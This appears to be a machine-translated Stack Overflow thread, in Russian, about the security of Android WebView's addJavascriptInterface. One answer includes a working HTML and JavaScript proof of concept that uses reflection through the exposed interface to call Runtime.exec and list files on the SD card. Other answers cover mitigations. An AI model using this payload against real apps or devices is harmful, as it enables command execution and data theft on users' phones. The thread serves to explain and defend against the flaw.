Подтвердить что ты не робот

Android JavascriptInterface Security?

Из документации: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Использование addJavascriptInterface() позволяет JavaScript управлять вашим приложением.Это может быть очень полезной функцией или опасной проблемой безопасности. Когда HTML в WebView ненадежен (например, часть или весь HTML предоставляется некоторыми человек или процесс), тогда злоумышленник может ввести HTML, который выполнит ваш код и, возможно, любой код выбора злоумышленника.   Не используйте addJavascriptInterface(), если весь HTML-код в этом WebView не был написан вами.  Объект Java, который связан, работает в другом потоке, а не в потоке, в котором он был создан.

Предположим, у меня есть интерфейс, который показывает только пользовательское диалоговое окно или запускает загрузку на SD-карту. Будет ли это небезопасно использовать для любого URL-адреса? Как страница атаки может использовать интерфейс для запуска любого кода злоумышленника, выбрав?

Update: В соответствии с документацией:

Этот метод может использоваться, чтобы позволить JavaScript управлять хостом выражение. Это мощная функция, но также обеспечивает безопасность риск для приложений, ориентированных на уровень API JELLY_BEAN или ниже, потому что JavaScript может использовать отражение для доступа к инъецируемому объекту публичные поля. Использование этого метода в WebView, содержащем ненадежные контент может позволить злоумышленнику манипулировать хост-приложением в непреднамеренные способы выполнения Java-кода с разрешениями хоста выражение. Будьте предельно осторожны при использовании этого метода в WebView который может содержать ненадежный контент.

Есть ли пример того, как это может произойти? Это просто означает, что DOWNLOADINTERFACE.dangerousfunction можно вызвать, если это общедоступный метод в этом классе?

Update:

Я тестировал на основании приведенного ниже примера использования, сайты могут получить доступ к системе через интерфейсы в Android 4.4, 4.1 и 3.2.

Тем не менее, я не видел эту ошибку на Android 2.2 или 2.3, взлом только вызывает силовое закрытие. Каков наилучший способ предотвратить этот взлом, кроме использования JSInterface? Могу ли я включить такие фиктивные функции, чтобы предотвратить несанкционированный вызов функций?

public Object getClass() {
  //throw error, return self, or something?  
}

Или переписать все, используя ajax и перехватывать вызовы? Это приведет к улучшению/снижению производительности?

Update:

Мне удалось удалить интерфейс JS и заменить функциональность, указав команды window.open(specialurl) для всех функций окна (интерфейса) и переопределив их в mustOverrideUrlLoading. Как ни странно, в некоторых случаях необходимо использовать window.open() или отображение пауз в веб-браузере (например, javascript останавливается?), А в других случаях следует использовать location.replace или просто отображать "interface://specialdata" не удалось найти сообщение.

(Я устанавливаю settings.setJavaScriptCanOpenWindowsAutomatically(true), поэтому window.open работает от JS все время.)

Кто-нибудь знает лучший способ переписать приложение с таким поведением?

4b9b3361

Ответ 1

пример доступа к файлам sdcard из javascript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

Ответ 2

Таким образом, код, который запускается в WebView, по умолчанию изолирован песочницей, то есть он не может выполнять опасные родные вещи, такие как запись в файловую систему или доступ к адресной книге и т.д.

Большинство javaScript попадает в эту категорию, и в случае показа пользовательского диалога нет опасности.

addJavaScriptInterface позволяет вам подвергать родной материал телефона javascript, и существует опасность того, что если вы не напишете свой javaScriptInterface правильно, вы можете в конечном итоге разоблачить телефон человека реальной угрозой со стороны хакера.

Я думаю, что проще всего понять пример.

Скажем, вы пишете интерфейс javaScript, где вы можете вызывать функцию из javaScript, которая записывает файл в путь в файловой системе Android. например:

writeToFile(data, safepath);

Все javascript поступает с вашего сервера, но хакер компрометирует ваш сервер и изменяет HTML/JavaScript, загружаемый в ваш WebView, для запуска:

writeToFile(dangerousdata, pathtosomeotherfile);

Теперь я не изучил макет пакета android достаточно хорошо, чтобы узнать, какой файл я бы хотел перезаписать/изменить, если бы я был хакером, но у нас были небольшие взломы с друзьями на наших собственных Linux-машинах когда я был моложе, и вы бы использовали такой вызов, чтобы перезаписать что-то вроде SSH-двоичного кода, - тогда вы сможете записывать все пароли, которые будут входить. Если бы вы могли делать что-то вроде перезаписывания или расширения исходного apk с помощью своего вы можете превратить телефон человека в сервер, на который вы могли бы войти в систему удаленно (я не уверен, что это возможно из-за того, как приложения изолированы). Даже если все, что вы могли бы сделать, это перезаписать критический файл данных, который может заставить пользователя дать вам (хакеру в этом случае) доступ к учетным данным безопасности, паролям и т.д.

Было много лет назад, когда мы обнаружили дыру в процессе sendmail на машине Linux, которая позволила нам запустить оболочку. Мы вошли на наш сервер в качестве почтового пользователя. Вы не могли бы сделать многое, как пользователь почты, но как только вы были на машине, это дало вам возможность оглянуться на другие недостатки.

Итак, вы можете делать то, что хотите делать безопасно, просто убедитесь, что вы сделали этот интерфейс JavaScript очень простым и немым - он записывает только один файл в одном месте, а записанные вами данные - это, может быть, текст или что-то, что doesn 'интерпретироваться позже. Для диалогов я делаю это все время - не нужно никаких специальных собственных вызовов. Это отличный способ сделать страницу, которую вы можете обновить после того, как пользователь установит ваше приложение.

Надеюсь, что это будет полезно!

Ответ 3

Исправление:

Для приложений под управлением Android 4.2 все общедоступные методы, которые аннотируются с помощью JavascriptInterface, могут быть доступны из JavaScript.

Итак, если вы разрабатываете приложение для SDK версии 17 или выше, вы должны добавить аннотацию @JavascriptInterface к любому методу, который вы хотите использовать для своего JavaScript.

Если вы не предоставите аннотацию, этот метод недоступен вашей веб-странице при работе на Android 4.2 или выше.

Чтобы узнать больше нажмите здесь

Ответ 4

OverView

Чтобы избежать проблемы безопасности addJavaScriptInterface(), вам необходимо разработать протокол связи между собственным кодом и JavaScript.

Ниже приведен простой дизайн протокола связи.

В JavaScript

Чтобы упростить протокол связи, каждый вызов функции, который вы хотите обработать Android, должен подчиняться следующему шаблону

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

В Java

Можно переопределить onJsPrompt() в WebChromeClient.

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Кордова каркас

Это также работает "Плагин Кордовы" . Хотя Кордова более сложна, она добавляет функцию обратного вызова к "JS to Native Call" и разрешает вызов собственного кода JavaScript

Ответ 5

эта ошибка безопасности работает со всем собственным интерфейсом, кроме api level >= 17.